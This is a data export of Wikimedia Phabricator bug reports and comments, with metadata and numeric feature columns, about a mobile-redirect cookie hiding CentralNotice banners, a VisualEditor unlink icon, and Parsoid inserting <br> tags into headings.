+https://gerrit.wikimedia.org/r/86065",,,1380161666,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-izrcwmsj2eh7uaufp4mk,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+53465,Switching to mobile view and back leaves cookie behind,"If someone is clicking on ""Mobile View"" and then back to ""Desktop"", a stopMobileRedirect cookie is left behind. This cookie will disable central notices on all wikimedia sites perpetually
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374004080,1376950515.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_description,declined,True,c1,3,False,False,True,2,,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+249799,Switching to mobile view and back leaves cookie behind,"I'm marking this as wontfix.
+
+While I see your point about not setting the stopMobileRedirect cookie for devices that wouldn't normally get automatically redirected (eg a desktop browser), we don't have a reliable way to detect that, so without rearchitecting, we can't really achieve this. Ultimately, we've been attempting to simplify how MobileFrontend works - partly for performance/caching reasons and partly for codebase sanity, and I do not think this usecase is compelling enough to warrant additional complexity.
+
+I suspect Jon is right that with some CSS magic you may be able to resolve the specific issues you're running into with the banners. Otherwise, we should have a bigger discussion about how best for you guys to achieve what you need from within CentralNotice.",,,1376950515,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,7,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+249793,Switching to mobile view and back leaves cookie behind,"Is that zoomed in?
+Does it disappear when you scroll?
+Is it fixed position or absolute?
+
+How can one access that banner on a phone - is there a url? Looks like with a few tweaks to the css that should be easy render correctly on a desktop view on a mobile screen...",,,1374866409,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+249790,Switching to mobile view and back leaves cookie behind,"**mwalker** wrote:
+
+Illustration of why desktop banners should not be served to mobile users
+
+Adam got this whilst browsing on the desktop site on his phone whilst logged out.
+
+**Attached**: {F11712}",,,1374861806,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+249789,Switching to mobile view and back leaves cookie behind,"""With CentralNotice not filtering; true mobile users who choose to use the
+desktop site may be presented with a banner that doesn't work on small screens
+- e.g. the buttons are too small to hit with a finger.""
+
+This is a non-issue
+The banner will be exactly the same size for users viewing the desktop site on a mobile device.",,,1374098687,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+249787,Switching to mobile view and back leaves cookie behind,"**mwalker** wrote:
+
+(In reply to comment #4)
+> You want to show a banner on the desktop site (en.wikipedia.org and friends)
+> when viewed in a mobile phone?
+
+Nope -- we want to show a banner on the desktop site to a desktop user who has previously used the mobile interface.
+
+> Could you clarify ""Removing the filtering comes at the expense of potentially
+> exposing users to banners that don't work particularly well on small
+> screens.""
+
+With CentralNotice not filtering; true mobile users who choose to use the desktop site may be presented with a banner that doesn't work on small screens - e.g. the buttons are too small to hit with a finger.
+
+> Does this effect the mobile site (en.m.wikipedia.org and friends) in anyway?
+
+No. Only the desktop site (and the transition of a desktop user between that and the mobile site and back.)
+
+> I'm also unclear how this effects the VisualEditor roll out... (you mention
+> this in the CentralNotice fix).
+
+VE is only involved because we spotted it with a VE banner (they want to show to everyone so we're getting lots of interesting CN bugs.)
+
+> The stopMobileRedirect cookie exists for a reason - if a user of the mobile
+> site wants to see the desktop site this stops them from being redirected on
+> every visit.
+
+Yep, understood. The feature request is more to not return 'desktop' devices to the desktop site after having viewed the mobile site with a stopMobileRedirect cookie.
+
+> We could only set the stopMobileRedirect cookie if the user is on a mobile
+> phone but this is messy and I don't see what value the work put in to achieve
+> this would gain. Does anything really need to change in MobileFrontend now?
+
+Meh; don't know. This is an edge case... It's more related to if we have more things that are device dependent using the cookie to determine if someone is on a big device or not.",,,1374091987,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,2,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+249785,Switching to mobile view and back leaves cookie behind,"Just to check I understand the problem correctly:
+You want to show a banner on the desktop site (en.wikipedia.org and friends) when viewed in a mobile phone?
+Was there any reason you didn't do this before? I don't really understand the logic... ResourceLoader disables JavaScript on older phones so these banners should work perfectly fine.
+
+Could you clarify ""Removing the filtering comes at the expense of potentially exposing users to banners that don't work particularly well on small screens."" - if a mobile views the desktop site on their phone they will either use a modified viewport [1] and the banner will look exactly the same as desktop, or if there is no viewport the entire website will be unreadable so I'd be surprised they'd even be in desktop mode.
+
+Does this effect the mobile site (en.m.wikipedia.org and friends) in anyway?
+
+I'm also unclear how this effects the VisualEditor roll out... (you mention this in the CentralNotice fix).
+
+The stopMobileRedirect cookie exists for a reason - if a user of the mobile site wants to see the desktop site this stops them from being redirected on every visit.
+
+We could only set the stopMobileRedirect cookie if the user is on a mobile phone but this is messy and I don't see what value the work put in to achieve this would gain. Does anything really need to change in MobileFrontend now?
+
+[1] http://www.quirksmode.org/mobile/viewports2.html",,,1374082443,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,2,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,1,1,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+249782,Switching to mobile view and back leaves cookie behind,"Change 73999 merged by jenkins-bot:
+(Bug 51465) No Longer Filtering Mobile Devices
+
+https://gerrit.wikimedia.org/r/73999",,,1374005801,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+249779,Switching to mobile view and back leaves cookie behind,"Change 73999 had a related patch set uploaded by Mwalker:
+(Bug 51465) No Longer Filtering Mobile Devices
+
+https://gerrit.wikimedia.org/r/73999",,,1374004590,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+249773,Switching to mobile view and back leaves cookie behind,"**mwalker** wrote:
+
+Fundraising's initial response is going to be just to just remove the filtering -- however, it would be a good feature for mobile frontend if that cookie was somewhat smarter (enough to remove itself when not needed / or track where it came from originally: varnish vs url click.)
+
+Removing the filtering comes at the expense of potentially exposing users to banners that don't work particularly well on small screens.",,,1374004272,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+53464,"VisualEditor: Use a ""broken link"" icon as the ""remove"" button in the link inspector, instead of a rubbish bin","There is consensus for a change to this element here: http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Dustbin_icon_not_intuitive_for_.22unlink.22
+
+To summarize - the garbage can icon to remove a link is not intuitive.  Users may be unsure of its function, or believe it will remove the highlighted text, rather than just the link.  Most other editing UI's employ a broken link for this function, so it will be more familiar.
+
+Suggested improvement:
+
+*Replace ""Garbage Can/Dustbin"" with a ""broken link"" icon (example:http://us.fotolia.com/id/49483380)
+
+*Replace current rollover text ""Remove"" with ""Unlink""
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374002400,1403977522.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-ygze3evr6iu2qv2rw7yu,task_description,invalid,True,c1,3,False,False,False,2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0
+249720,"VisualEditor: Use a ""broken link"" icon as the ""remove"" button in the link inspector, instead of a rubbish bin","We've decided instead to remove the use of icons here as it's too confusing, and instead will use just the label.",,,1403977522,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ygze3evr6iu2qv2rw7yu,task_subcomment,,True,c1,3,True,,,51,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+53444,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"See:
+http://en.wikipedia.org/w/index.php?title=User%3ACananian&diff=564446937&oldid=564446873
+
+I was adding a heading (after a <!-- ... --> comment) and the diff stuck a <br> inside the ==heading==.
+
+I'm assigning this bug to VE for the moment, but it could be a parsoid bug.  I need to see the intermediate parsoid HTML generated for the change to tell one way or the other.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1373986620,1447795442.0,PHID-USER-m2ezqyeb4uz67zq6bats,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-gqdob64njr6frqrzr75a,task_description,resolved,True,c1,3,True,False,False,2,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+564473,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,Parsoid now normalizes this HTML to strip <br> from headings - the code is now in production.,,,1447795442,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,124,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+563015,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"Change 253050 merged by jenkins-bot:
+T53444: Strip <br>s from headings via new HTML normalization routine
+
+[[https://gerrit.wikimedia.org/r/253050]]",,,1447461206,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,123,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+562981,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"Change 253050 had a related patch set uploaded (by Subramanya Sastry):
+T53444: Strip <br>s from headings via new HTML normalization routine
+
+[[https://gerrit.wikimedia.org/r/253050]]
+",,,1447455845,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,123,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+541236,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"If you want an example of how that happens on a private wiki, see above line 114 [[ https://office.wikimedia.org/w/index.php?title=Community_Engagement_(Product)/Editing&diff=prev&oldid=158096 | here ]]. It doesn't involve hidden comments.",,,1444058682,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,118,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1
+539398,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"Unless it advances the consistency of parsing, I am not convinced this is worth a lot of effort beyond normalization during serialization. The WYSIWYG behavior is clearly an edge-case since wikitext does not support multi-line headings. So, if VE folks are with it, I am fine with it.",,,1443736308,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+539392,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"WYSIWYG is tricky here.  In this case, the user clearly saw the entire paragraph, including the newline, being styled as part of the heading.  If we handle this during normalization, then the result after saving will not be consistent with what the user saw during editing.
+
+@Jdforrester-WMF It's //possible// that existing-tidy wouldn't remove `<p><!--comment--></p>` because of the embedded comment.  Currently PHP elides all the comments, so it hands tidy the string `<p></p>` which tidy happily removes.  So it's possible we could finesse this somehow, for example by emitting a stub comment from the PHP parser.  Investigation needed.",,,1443735812,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,117,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+539384,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,Maybe worth handling this in the normalization routines.,,,1443735363,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+539038,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"Would fixing the PHP Parser require us to have replaced Tidy first, then?",,,1443714586,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0
+539019,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"The original document was serialized with the `<br/>`:
+```
+$ (echo 'foo' ; echo; echo '<!--comment-->'; echo; echo 'bar') | tests/parse.js  --normalize=parsoid
+
+<p>foo</p>
+<!--comment-->
+<p><br/> bar</p>
+```
+I wonder if we should be generating `<p><!--comment--></p>` for that case, instead of the `<br/>` embedded inside the next paragraph.  Our current behavior is consistent with PHP:
+```
+$ (echo 'foo' ; echo; echo '<!--comment-->'; echo; echo 'bar') | php maintenance/parse.php --quiet
+<p>foo
+</p><p><br />
+bar
+</p>
+```
+...but it's certainly not ideal from an editing perspective.  Maybe PHP should change here as well, although I'm guessing the reason it is putting the `<br/>` inside the `<p>` is because otherwise `tidy` would strip the ""empty"" `<p>` tag.
+
+In any case, given this input DOM, VE's behavior is strange but understandable -- when you put your cursor between the exclamation mark and the last written line, VE is placing its internal insertion point between the `<p>` and the `<br/>`, so any heading conversion applies to the entire `<p>` contents, including the embedded `<br/>`.  The result that VE passes back to parsoid is then unsurprising:
+```
+<p id=""mwAQ"">some text</p> <!-- hidden comments FTW --><h2>Foo<br id=""mwAw""> moar text here</h2>
+```
+and Parsoid gives a faithful serialization of this as wikitext.",,,1443713401,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,117,,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+435772,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"The page is nominated for deletion, but [[https://en.wikipedia.org/w/index.php?title=Sabaragamuwa_Province_(Sri_Lanka)_bus_routes&diff=next&oldid=654323182| here's another example]].",,,1427805964,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,91,,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1
+422154,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"Providing steps.
+1) Start with [[ https://test.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=prev&oldid=223541 | a new or a blank page ]].
+2) In wikitext mode, [[ https://test.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=next&oldid=223541 | write something on the first line, leave a blank line, write a hidden comment, leave a blank line, write something else ]], then Save.
+3) Now enter VE mode. Notice the hidden comment is correctly displayed as an exclamation mark; there is now a carriage return sign at the beginning of the last line. 
+4) Put the cursor in the blank line between the comment and the last written line. You can now write any word, select it and turn it into a heading or a subheading; notice the entire line below, including the carriage return sign, also becomes part of said heading/subheading.
+5) Save. [[ https://test.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=223543&oldid=223542 | You now have wikitext for the heading/subheading you just made, showing up in plain sight ]]. You can also notice that the carriage return character was turned into a br tag.
+
+Reproducible: Always.
+Tested in Win 8 with the latest versions of Chrome, Firefox, IE, Opera (the last two while logged out). ",,,1425651893,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,87,,1,1,0,1,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1
+422152,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"Providing steps.
+1) Start with [[ https://test.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=prev&oldid=223541 | a new or a blank page ]].
+2) In wikitext mode, [[ https://test.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=next&oldid=223541 | write something on the first line, leave a blank line, write a hidden comment, leave a blank line, write something else ]], then Save.
+3) Now enter VE mode. Notice the hidden comment is correctly displayed as an exclamation mark; there is now a carriage return sign at the beginning of the last line. 
+4) Put the cursor in the blank line between the comment and the last written line. You can now write any word, select it and turn it into a heading or a subheading; notice the entire line below, including the carriage return sign, also becomes part of said heading/subheading.
+5) Save. [[ https://test.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=223543&oldid=223542 | You now have wikitext for the heading/subheading you just made in plain sight ]]. You can also notice that the carriage return character was turned into a br tag.
+
+Reproducible: Always.
+Tested in Win 8 with the latest versions of Chrome, Firefox, IE, Opera (the last two while logged out). ",,,1425651818,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,87,,1,1,0,1,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1
+421904,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"No reproduction steps in > 18 months. If you can give some more details, please re-open.",,,1425599536,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,87,,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1
+248649,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"(BTW, I really couldn't play that vid on YouTube.)",,,1380121710,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+248641,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"The steps are clear in AzaToth's video, but I can't reproduce that either: have you fixed something about ↵ being displayed, this week?",,,1380121219,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,12,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+248635,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,Does anyone have any steps to reproduce? I can't reproduce in Firefox or Chrome whilst playing around…,,,1380069203,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,12,,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+248628,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,Also reported at https://fr.wikipedia.org/w/index.php?title=Cabinet_des_estampes_et_des_dessins_de_Strasbourg&curid=1591028&diff=96701784&oldid=96701717,,,1379352540,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
